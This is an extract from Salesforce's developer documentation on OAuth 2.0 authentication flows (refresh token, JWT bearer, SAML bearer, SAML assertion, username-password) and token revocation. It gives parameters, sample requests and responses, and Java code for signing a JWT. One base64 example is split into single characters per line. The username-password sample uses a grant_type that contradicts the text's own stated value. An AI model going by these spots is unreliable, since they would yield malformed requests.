Allows the ability to use the access_token on the Web. This also includes visualforce,
allowing access to Visualforce pages.

All scope values automatically include id, so that regardless of which values for scope you pass, you always have access to
the identity URLs.
As a user approves applications, the value of the scope is stored with the refresh token.
For example, if a user approves an application with a scope of id, the refresh token is created with scope=id. Then, if the
user approves a second application with a different scope, for example api, the refresh token is created with scope=api.
For both a JSON or SAML bearer token requests, the request looks at the scopes of all the previous refresh tokens and combines
them.
Given the previous example, the result is an access token with scope=id%20api.
The following is a sample request setting the scope parameter with the api, id, and web values.
http://localhost:9088/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://localhost:9088/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20web

OAuth 2.0 Refresh Token Flow


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

After the consumer has been authorized for access, they can use a refresh token to get a new access token (session ID.) This
is only done after the consumer already has received an access token using either the Web server or user-agent flow. It is up
to the consumer to determine when an access token is no longer valid, and when to apply for a new one.

2186

Develop

Authenticating Remote Access Application OAuth

The following are the steps for the refresh token authentication flow. More detail about each step follows:
1. The consumer uses the existing refresh token to request a new access token.
2. After the request is verified, Salesforce sends a response to the client.
Consumer Requests Updated Access Token
A consumer can use the refresh token to get a new session as needed.
The consumer should make POST request to the token endpoint, with the following parameters:

grant_typeValue must be refresh_token for this flow.


refresh_tokenRefresh token from the approval step.
client_idConsumer key from the remote access application definition.
client_secretConsumer secret from the remote access application definition. This parameter is optional.
formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded
json
xml
The following example is the out-of-band POST body to the token endpoint:
POST /services/oauth2/token HTTP/1.1
Host: https://login.salesforce.com/
grant_type=refresh_token&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0
QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=1955279925675241571
&refresh_token=your token here

Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one
of the following:

Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded

Salesforce Server Sends a Response


After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:

access_tokenSalesforce session ID that can be used with the Web services API.
instance_urlURL indicating the instance of the users organization. In this example, the instance is na1:
https://na1.salesforce.com.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2202.


signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the
concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the
server.
issued_atWhen the signature was created.

The following is a JSON example response from Salesforce:


{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448384422","instance_url":"https://na1.salesforce.com",
"signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMgqYtu+hDPsc=",

2187

Develop

Authenticating Remote Access Application OAuth

"access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7T
rqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4"}

The following is an XML example response:


<Oauth>
<access_token>00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNB
aT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4
</access_token>
<instance_url>https://na1.salesforce.com</instance_url>
<id>https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P</id>
<issued_at>1278448101416</issued_at>
<signature>CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe+fVg=</signature>
</Oauth>

The following is an URL encoded example:


access_token=00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0
RNBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze
9JksNEkWUl.Cju7m4
& instance_url=https%3A%2F%2Fna1.salesforce.com
& id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx0000000BV
7z%2F005x00000012Q9P
& issued_at=1278448101416
& signature=CMJ4l%2BCCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe%2BfVg%3D

If a problem occurs during this step, the response contains an error message with these parts:

errorError code
error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported


invalid_client_idclient identifier invalid
invalid_requestHTTPS required
invalid_requestmust use HTTP POST
invalid_client_credentialsclient secret invalid
invalid_requestsecret type not supported
invalid_grantexpired access/refresh token
invalid_grantIP restricted or invalid login hours
inactive_useruser is inactive
inactive_orgorganization is locked, closed, or suspended
rate_limit_exceedednumber of logins exceeded
invalid_scoperequested scope is invalid, unknown, or malformed

Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

2188

Develop

Authenticating Remote Access Application OAuth

The following is an example of an error response:


{"error":"invalid_client_credentials","error_description":"client secret invalid"}

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
OAuth 2.0 Web Server Authentication Flow
OAuth 2.0 User-Agent Flow
OAuth 2.0 JWT Bearer Token Flow
OAuth 2.0 SAML Bearer Assertion Flow

OAuth 2.0 JWT Bearer Token Flow


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

JSON Web Token (JWT) is a JSON-based security token encoding that enables identity and security information to be shared
across security domains.
The OAuth 2.0 JWT bearer token flow defines how a JWT can be used to request an OAuth access token from Salesforce
when a client wishes to utilize a previous authorization. Authentication of the authorized application is provided by a digital
signature applied to the JWT.
More detailed explanations of a JWT and the JWT bearer token flow for OAuth can be found in the following:

http://tools.ietf.org/html/draft-jones-oauth-jwt-bearer
http://tools.ietf.org/html/draft-jones-json-web-token

Overview of OAuth 2.0 JWT Bearer Token Flow


The OAuth 2.0 JWT bearer token flow is similar to a refresh token flow within OAuth. The JWT is POSTed to the OAuth
token endpoint, which in turn processes the JWT, and issues an access_token based upon prior approval of the application.
However, the client doesnt need to have or store a refresh_token, nor is a client_secret required to be passed to the
token endpoint.
The following are the general steps involved in using the OAuth 2.0 JWT bearer token flow:
1. The developer creates a remote access application and registers an X509 Certificate. This certificate corresponds to the
private key of their application. When the remote access application is saved, the Consumer Key (OAuth client_id)
is generated and assigned to the application.
2. The developer writes an application that generates a JWT, and signs it with their private key.
3. The JWT is POSTed to the token endpoint https://login.salesforce.com/services/oauth2/token.

2189

Develop

Authenticating Remote Access Application OAuth

4. The token endpoint validates the signature using the certificate registered by the developer.
5. The token endpoint validates the audience (aud), issuer (iss), validity (exp), and principal (prn) of the JWT.
6. Assuming the JWT is valid and the application has been previously authorized by the user or administrator, Salesforce
issues an access_token.
Note: A refresh_token is never issued in this flow.

Creating a JWT Bearer Token


The developer must create a valid JWT bearer token that conforms to the following rules:

The issuer (iss) must be the OAuth client_id or the remote access application for which the developer registered their
certificate.
The audience (aud) must be https://login.salesforce.com or https://test.salesforce.com.
The principal (prn) must be the username of the desired Salesforce user.
The validity (exp) must be the expiration time of the assertion, within five minutes, expressed as the number of seconds
from 1970-01-01T0:0:0Z measured in UTC.
The JWT must be signed using RSA SHA256.
The JWT must conform with the general format rules specified here:
http://tools.ietf.org/html/draft-jones-json-web-token.

To construct a JWT bearer token, do the following:


1. Construct a JWT Header in the following format: {"alg":"RS256"}.
2. Base64url encode the JWT Header as defined here: http://tools.ietf.org/html/rfc4648#page-7. The result
should be similar to this: eyJhbGciOiJSUzI1NiJ9.
3. Construct a JSON Claims Set for the JWT with the iss, prn, aud, and , exp:
{"iss": "3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQ
ukXnVjzRgSuQqGn75NL7yfkQcyy7",
"prn": "Pierre_Delacroix@SeattleApps.com",
"aud": "https://login.salesforce.com",
"exp": "1333685628"}

4. Base64url encode the JWT Claims Set. For example:


eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0suQm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnbWFpbC5jb20iLCAiYXVkIjogImh0dHBzOi8vbG9naW4uc2FsZXNmb3JjZS5jb20iLCAiZXhwIjogIjEzMzM2ODU2MjgifQ

5. Create a new string for the encoded JWT Header and the encoded JWT Claims Set, in this format:
encoded_JWT_Header + "." + encoded_JWT_Claims_Set

. In the following example, the encoded JWT Header is highlighted:


eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0suQm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAiY2hhcmxpZW1vcnRpbW9yZUBnbWFpbC5jb20iLCAiYXVkIjogImh0dHBzOi8vbG9naW4uc2FsZXNmb3JjZS5jb20iLCAiZXhwIjogIjEzMzM2ODU2MjgifQ

6. Sign the resulting string using SHA256 with RSA.


7. Create a new string of the string from this step, in the following format:
existing_string + "." + base64_encoded_signature

2190

Develop

Authenticating Remote Access Application OAuth

In the following example, the start of the base64 encoded signature is highlighted:
e
y
J
h
b
G
c
i
O
i
J
S
U
z
I
1
N
i
J
9
.
e
y
J
p
c
3
M
i
O
i
A
i
M
0
1
W
R
z
k
5
T
3
h
U
e
U
V
N
Q
1
E
z
Z
0
5
w
M
l
B
q
a
3
F
l
W
k
t
4
b
m
1
B
a
U
c
x
e
F
Y
0
b
0
h
o
O
U
F
L
T
F
9
y
U
0
s
u
Q
m
9
T
V
l
B
H
W
k
h
R
d
W
t
Y
b
l
Z
q
e
l
J
n
U
3
V
R
c
U
d
u
N
z
V
O
T
D
d
5
Z
m
t
R
Y
3
l
5
N
y
I
s
I
C
J
w
c
m
4
i
O
i
A
i
Y
2
hc
m
x
p
Z
W
1
v
c
n
R
p
b
W
9
y
Z
U
B
n
b
W
F
p
b
C
5
j
b
2
0
i
L
C
A
i
Y
X
V
k
I
j
o
g
I
m
h
0
d
H
B
z
O
i
8
v
b
G
9
n
a
W
4
u
c
2
F
s
Z
X
N
m
b
3
J
j
Z
S
5
j
b
2
0
i
L
C
A
i
Z
X
h
w
I
j
o
g
I
j
E
z
M
z
M
2
O
D
U
2
M
j
g
i
f
Q
.
i
Y
C
t
h
q
W
C
Q
u
c
w
i
3
5
y
F
s
n
W
N
g
p
F
5
N
A
_
a
4
6
f
X
D
T
N
I
Y
8
A
C
k
o
6
B
a
E
t
Q
9
E
6
h
4
H
n
1
l
_
p
c
w
c
K
I
_
G
l
m
f
U
O
2
d
J
D
g
1
A
6
1
0
t
0
9
T
e
o
P
a
g
J
s
Z
D
m
_
H
8
3
b
s
o
Z
U
o
I
8
L
p
A1
s
2
a
j
_
W
b
y
s
q
b
1
j
4
u
D
T
o
z
4
8
0
W
t
E
b
k
w
I
v
0
9
s
I
e
S
_
Q
u
W
a
k
2
R
X
O
l
1
K
r
n
f
7
2
m
p
V
G
S
4
WS
U
L
o
d
g
N
z
l
K
Hy
j
A
M
A
H
i
B
H
I
D
N
t
3
6
y
2
L
2
B
h
7
M
8
T
N
W
i
K
a
_
B
N
M
6
s
1
F
N
K
D
A
w
H
E
W
Q
r
N
t
A
e
R
e
X
g
R
y
0
M
Z
g
Q
Y
2
r
Z
t
q
T
2
F
c
D
y
j
Y
3
J
V
Q
b
E
n
_
C
S
j
H
2
W
V
7
Z
l
U
w
s
K
H
q
G
f
I
7
h
z
e
E
v
V
d
f
O
j
H
9
N
u
a
J
o
z
x
v
h
P
F
4
8
9
I
g
W
6
c
n
t
P
u
T
2
V
6
4
7
J
W
i
7
n
g

The follow Java code is a simple example of constructing a JWT bearer token:
import
import
import
import

org.apache.commons.codec.binary.Base64;
java.io.*;
java.security.*;
java.text.MessageFormat;

public class JWTExample {


public static void main(String[] args) {
String header = "{\"alg\":\"RS256\"}";
String claimTemplate = "'{'\"iss\": \"{0}\", \"prn\": \"{1}\", \"aud\": \"{2}\", \"exp\":
\"{3}\"'}'";
try {
StringBuffer token = new StringBuffer();
//Encode the JWT Header and add it to our string to sign
token.append(Base64.encodeBase64URLSafeString(header.getBytes("UTF-8")));
//Separate with a period
token.append(".");
//Create the JWT Claims Object
String[] claimArray = new String[4];
claimArray[0] =
"3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQukXnVjzRgSuQqGn75NL7yfkQcyy7";
claimArray[1] = "Pierre_Delacroix@SeattleApps.com";
claimArray[2] = "https://login.salesforce.com";
claimArray[3] = Long.toString( ( System.currentTimeMillis()/1000 ) + 300);
MessageFormat claims;
claims = new MessageFormat(claimTemplate);
String payload = claims.format(claimArray);
//Add the encoded claims object
token.append(Base64.encodeBase64URLSafeString(payload.getBytes("UTF-8")));
//Load the private key from a keystore
KeyStore keystore = KeyStore.getInstance("JKS");
keystore.load(new FileInputStream("./path/to/keystore.jks"),
"keystorepassword".toCharArray());
PrivateKey privateKey = (PrivateKey) keystore.getKey("certalias",
"privatekeypassword".toCharArray());
//Sign the JWT Header + "." + JWT Claims Object
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(token.toString().getBytes("UTF-8"));
String signedPayload = Base64.encodeBase64URLSafeString(signature.sign());
//Separate with a period
token.append(".");
//Add the encoded signature
token.append(signedPayload);
System.out.println(token.toString());
} catch (Exception e) {

2191

Develop

Authenticating Remote Access Application OAuth

e.printStackTrace();
}
}
}

Using a JWT Bearer Token


JWT bearer tokens should be POSTed to the token endpoint at
https://login.salesforce.com/services/oauth2/token or
https://test.salesforce.com/services/oauth2/token.

When POSTed, the following parameters must be provided:

grant_type: urn:ietf:params:oauth:grant-type:jwt-bearer Required.


assertion: The JWT bearer token, base64url-encoded Required.

Additional standard parameters:

format: Format of the response may be specified as in an OAuth flow, using the token parameter, or an HTTP Accepts

header.
scope: Scope is not supported in the flow. The value for this parameter is the combination of scopes from previous
approvals.

Here is a sample token request:


POST /services/oauth2/token HTTP/1.1
Host: login.example.com
Content-Type: application/x-www-form-urlencoded
grant_type=
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=PHNhbWxwOl...[omitted for
brevity]...ZT

Server Validates the Token


After the request is verified, Salesforce sends a response to the client. Token responses for the OAuth 2.0 JWT bearer token
flow follow the same format as authorization_code flows, although no refresh_token is ever issued. A JWT OAuth
2.0 bearer assertion request looks at all the previous approvals for the user that include the refresh_token. If matching
approvals are found, an access token with the most recent approvals scopes is issued. No corresponding refresh_token is
issued. If no previous approvals included a refresh_token, no approved scopes are available, and the request fails as
unauthorized.
Errors
If there is an error in processing the JWT bearer token, the server replies with a standard OAuth error response, including an
error and an error description containing additional information regarding the reasons the token was considered invalid. Here
is a sample error response:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",

2192

Develop

Authenticating Remote Access Application OAuth

"error_description":"Audience validation failed"


}

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
OAuth 2.0 Refresh Token Flow

OAuth 2.0 SAML Bearer Assertion Flow


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

A SAML assertion is an XML security token, generally issued by an identity provider and consumed by a service provider
who relies on its content to identify the assertions subject for security-related purposes.
The OAuth 2.0 SAML bearer assertion flow defines how a SAML assertion can be used to request an OAuth access token
when a client wishes to utilize a previous authorization. Authentication of the authorized application is provided by the digital
signature applied to the SAML assertion.
A more detailed explanation can be found here: http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.

Overview of OAuth 2.0 SAML Bearer Assertion Flow


The OAuth 2.0 SAML bearer assertion flow is similar to a refresh token flow within OAuth. The SAML assertion is POSTed
to the OAuth token endpoint, which in turn processes the assertion, and issues an access_token based upon prior approval
of the application. However, the client doesnt need to have or store a refresh_token, nor is a client_secret required
to be passed to the token endpoint.
The following are the general steps involved in using the OAuth 2.0 SAML bearer assertion flow:
1. The developer creates a remote access application and registers an X509 Certificate. This certificate corresponds to the
private key of their application. . When the remote access application is saved, the Consumer Key (OAuth client_id)
is generated and assigned to the application.
2. The developer writes an application that generates a SAML assertion, and signs it with their private key.
3. The assertion is POSTed to the token endpoint https://login.salesforce.com/services/oauth2/token.
4. The token endpoint validates the signature using the certificate registered by the developer.
5. The token endpoint validates the Audience, Issuer, Subject, and validity of the assertion.
6. Assuming the assertion is valid and the application has been previously authorized by the user or administrator, Salesforce
issues an access_token.

2193

Develop

Authenticating Remote Access Application OAuth

Note: A refresh_token is never issued in this flow.

Creating a SAML Bearer Assertion


The developer must create a valid SAML bearer assertion that conforms to the following rules:

The Issuer must be the OAuth client_id or the remote access application for which the developer registered their
certificate.
The Audience must be https://login.salesforce.com or https://test.salesforce.com.
The Recipient must be https://login.salesforce.com/services/oauth2/token or
https://test.salesforce.com/services/oauth2/token.
The Subject NameID must be the username of the desired Salesforce user.
The SAML assertion must conform with the general format rules specified here:
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.
When POSTed to the token endpoint, the assertion must be encoded using base64url encoding as defined here:
http://tools.ietf.org/html/rfc4648#page-7

The following is a sample assertion:


<?xml version="1.0"?>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="C625490D-C2B9-15BE-6DFA-7286288D9655" IssueInstant="2012-04-04T06:54:14Z" Version="2.0">
<saml:Issuer>3MVG9PhR6g6B7ps45QoRvhVGGMmR_DT4kxXzVXOo6TTHF3QO1nmqOAstC924qSUiUeEDcuGV4tmAxyo_fV8j</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#C625490D-C2B9-15BE-6DFA-7286288D9655">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>f187DeCiwFhhH2etlU+5byskey4=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>iBoeMUxG4v/NAC+i74/UnHDcX45YeMXh09e2hik/T5dIqtUZt9dg1Yp9mP4P3YIsuQ1KhyHRFKlOfUiYNSpv1qH6R7tYgpHMKE9VVc7foLE8Pv0N1VJPoCeh+qYTRv0ItvqjmZVgFzp5gN41OJRnztp1Y9OxFE0RgWxHaTasI6LMI/3xVH+fd/ccfUcu876repVQlf9KQROg1dN1MNzBsk2f0RDZao2+k2UXMwP9KWoW9E/xiwjlhFq14leHeWYhIhGy1rLTqQiIc7k/T54THyRnpClDkRvGWogx7ihiMZ7+fLwwgbfRtrDOS0JZOM4L34YWa/cb9hpVvqvRBPtsng==</ds:SignatureValue>
</ds:Signature>
<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">Pierre_Delacroix@SeattleApps.com
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData
Recipient="https://login.salesforce.com/services/oauth2/token"
NotOnOrAfter="2012-04-04T07:04:14Z"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2012-04-04T06:54:14Z" NotOnOrAfter="2012-04-04T07:04:14Z">
<saml:AudienceRestriction>
<saml:Audience>https://login.salesforce.com/services/oauth2/token</saml:Audience>
</saml:AudienceRestriction>

2194

Develop

Authenticating Remote Access Application OAuth

</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2012-04-04T06:54:14Z"
SessionIndex="ED868FE5-841D-5192-766C-941A60D6602F">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>

Using SAML Bearer Assertions


SAML bearer assertions should be POSTed to the token endpoint at
https://login.salesforce.com/services/oauth2/token or
https://test.salesforce.com/services/oauth2/token.

When POSTed, the following parameters must be provided:

grant_type: urn:ietf:params:oauth:grant-type:saml2-bearer Required.


assertion: The SAML bearer assertion, encoded using base64url as defined here:
http://tools.ietf.org/html/rfc4648#page-7 Required.

Additional standard parameters:

format: Format of the response may be specified as in an OAuth flow, using the token parameter, or an HTTP Accepts

header.
scope: Scope is not supported in the flow. The value for this parameter is the combination of scopes from previous
approvals.

Here is a sample token request:


POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
Content-Type: application/x-www-form-urlencoded
grant_type=
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Asaml2-bearer&assertion=PHNhbWxwOl...[omitted for
brevity]...ZT

Server Sends a Response


After the request is verified, Salesforce sends a response to the client. Token responses for the OAuth 2.0 SAML bearer token
flow follow the same format as authorization_code flows, although no refresh_token is ever issued.
Note: A SAML OAuth 2.0 bearer assertion request looks at all the previous approvals for the user that include the
refresh_token. If matching approvals are found, an access token with the most recent approvals scopes is issued.
No corresponding refresh_token is issued. If no previous approvals included a refresh_token, no approved
scopes are available, and the request fails as unauthorized.
Errors
If there is an error in processing the SAML bearer assertion, the server replies with a standard OAuth error response, including
an error and an error description containing additional information regarding the reasons the token was considered invalid.
Here is a sample error response:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store

2195

Develop

Authenticating Remote Access Application OAuth

{
"error":"invalid_grant",
"error_description":"Audience validation failed"
}

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
OAuth 2.0 Refresh Token Flow

SAML Assertion Flow


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The SAML assertion flow is an alternative for organizations that are currently using SAML to access Salesforce, and want to
access the Web services API the same way. The SAML assertion flow can only be used inside a single organization. You do
not have to create a remote access application to use this assertion flow. Clients can use this to federate with the API using a
SAML assertion, in much the same way as they would federate with Salesforce for Web single sign-on. See About Single
Sign-On on page 671.
The following are the general steps for using this flow. Many of the steps are described in more detail below.
1.
2.
3.
4.

Configure SAML on page 2196 for your organization. You must use SAML version 2.0.
Exchange a SAML assertion for an access token.
Salesforce sends the response.
Use a JSON parser to process the response and extract the access_token.

Configuring SAML for OAuth


To configure your organization to use SAML, follow the instructions in Configuring SAML Settings for Single Sign-On.
Once you have configured SAML, you can use the exact same configuration for both Web and API federation.
Two URLs are provided after you configure SAML for your organization:

Salesforce.com Login URLUse this URL when doing Web single sign-on.
OAuth 2.0 Token EndpointUse this URL when exchanging a SAML assertion for an access token to be used with

the API.
When generating SAML assertions to be used with the token endpoint, the recipient URL in the assertion may be the value
from either the OAuth 2.0 Token Endpoint or the Salesforce.com Login URL.

2196

Develop

Authenticating Remote Access Application OAuth

Exchange a SAML Assertion for an Access Token


In order to exchange a SAML assertion for an access token, your client must obtain or generate a valid SAML response and
POST this to the token endpoint. The method of obtaining this response is up to the client to determine. Once the client has
a valid response, it sends the following parameters:

grant_typeValue must be assertion for this flow.


assertionA Base-64 encoded SAML response that would normally be used for Web single sign-on
assertion_typeMust be urn:oasis:names:tc:SAML:2.0:profiles:SSO:browser
formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded
json
xml
The following is the body of an example of an out-of-band POST made to the
https://login.salesforce.com/services/oauth2/token:
grant_type=assertion&assertion_type=
urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aprofiles%3ASSO%3Abrowser&
assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW. . .

Salesforce Server Sends a Response


After the SAML response is verified, Salesforce sends a response to the client. The following parameters are in the body of
the response:

access_tokenSalesforce session ID that can be used with the Web services API.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2202.


The following is an example response from Salesforce:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"instance_url":"https://na1.salesforce.com","access_token":
"00Dx0000000BV7z!AR8AQNhMmQeDIKR0.hZagSTaEPCkmoXeYnkaxQnqWlG6Sk9U3i3IFjEH
IzDlsYdU0qoVCXNJtPOwdb7u5rKfq9NldfAKoQjd"}

If an error occurs during this step, the response contains an error message with these parts:

errorError code
error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported


invalid_requestHTTPS required
invalid_requestmust use HTTP POST
invalid_assertion_typespecified assertion type is not supported
invalid_grantinvalid authorization code
invalid_grantIP restricted or invalid login hours
inactive_useruser is inactive
inactive_orgorganization is locked, closed, or suspended
rate_limit_exceedednumber of logins exceeded

2197

Develop

Authenticating Remote Access Application OAuth

Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

error_uriA link to the SAML Assertion Validator, which contains more information about the failure. This is only

returned when Salesforce is able to parse the assertion. See Validating SAML Settings for Single Sign-On on page 690.
The following is an example error:
{"error_uri":"https://na1.salesforce.com/setup/secur/SAMLValidationPage.apexp",
"error":"invalid_grant","error_description":"invalid assertion"}

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
Using Identity URLs

OAuth 2.0 Username-Password Flow


Available in: All Editions

User Permissions Needed


To manage, create, edit, and delete OAuth applications:

Manage Remote Access

The username-password authentication flow can be used to authenticate when the consumer already has the users credentials.
Caution: This OAuth authentication flow involves passing the users credentials back and forth. Use this authentication
flow only when necessary. No refresh token will be issued.
The following are the steps for the username-password authentication flow. More detail about each step follows:
1. The consumer uses the end-users username and password to request an access token (session ID.)
2. After the request is verified, Salesforce sends a response to the client.
After a consumer has an access token, they can use the access token to access Salesforce data on the end-users behalf.
Request an Access Token
The consumer can use the end-users username and password to request an access token, which can be used as a session ID.
The consumer should make an out-of-band POST request to the token endpoint, with the following parameters:

grant_typeValue must be password for this flow.

2198

Develop

Authenticating Remote Access Application OAuth

client_idConsumer key from the remote access application definition.


client_secretConsumer secret from the remote access application definition.
usernameEnd-user username.
passwordEnd-user password

Note: When using the username-password flow with the API, be sure to create a field in the username and
password login screen where users can input their security token. You must concatenate their password and token
when passing the request for authentication. For more information about security tokens, see Resetting Your
Security Token on page 45

formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded
json
xml
The following is an example of the body of the out-of-band POST:
grant_type=basic-credentials&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82Hn
FVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=
1955279925675241571&username=testuser%40salesforce.com&password=mypassword

Send Response
After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:

access_tokenSalesforce session ID that can be used with the Web services API.
instance_urlURL indicating the instance of the users organization. In this example, the instance is na1:
https://na1.salesforce.com.
idIdentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2202.


signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the
concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the
server.
issued_atWhen the signature was created.
Note: No refresh token is sent with this response.

The following is an example response:


{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448832702","instance_url":"https://na1.salesforce.com",
"signature":"0CmxinZir53Yex7nE0TD+zMpvIWYGb/bdJh6XfOH6EQ=","access_token":
"00Dx0000000BV7z!AR8AQAxo9UfVkh8AlV0Gomt9Czx9LjHnSSpwBMmbRcgKFmxOtvxjTrKW1
9ye6PE3Ds1eQz3z8jr3W7_VbWmEu4Q8TVGSTHxs"}

If a problem occurs during this step, the response contains an error message with these parts:

errorError code
error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported


invalid_client_idclient identifier invalid

2199

Develop

Authenticating Remote Access Application OAuth

invalid_requestHTTPS required
invalid_requestmust use HTTP POST
invalid_client_credentialsclient secret invalid
invalid_grantinvalid user credentials
invalid_grantIP restricted or invalid login hours
inactive_useruser is inactive
inactive_orgorganization is locked, closed, or suspended
rate_limit_exceedednumber of logins exceeded
invalid_scoperequested scope is invalid, unknown, or malformed

Any login error not listed receives a generic authentication failure with text describing the error. For example,
LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

The following is an example of a returned error:


{"error":"invalid_client_credentials","error_description":"client secret invalid"}

See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
Using the Access Token
Using Identity URLs

Revoking OAuth Tokens


Available in: All Editions

When users request their data from within the external application (the consumers page), they are authenticated. You can
revoke their access tokens, or the refresh token and all related access tokens, using revocation. Developers may use this feature
when configuring a Log Out button in their application.
Revoking Tokens
To revoke OAuth 2.0 tokens, use the revocation endpoint:
https://login.salesforce.com/services/oauth2/revoke

Construct a POST request that includes the following parameters using the application/x-www-form-urlencoded
format in the HTTP request entity-body. For example:
POST /revoke HTTP/1.1
Host: https://login.salesforce.com/services/oauth2/revoke
Content-Type: application/x-www-form-urlencoded

2200

Develop

Authenticating Remote Access Application OAuth

token=currenttoken

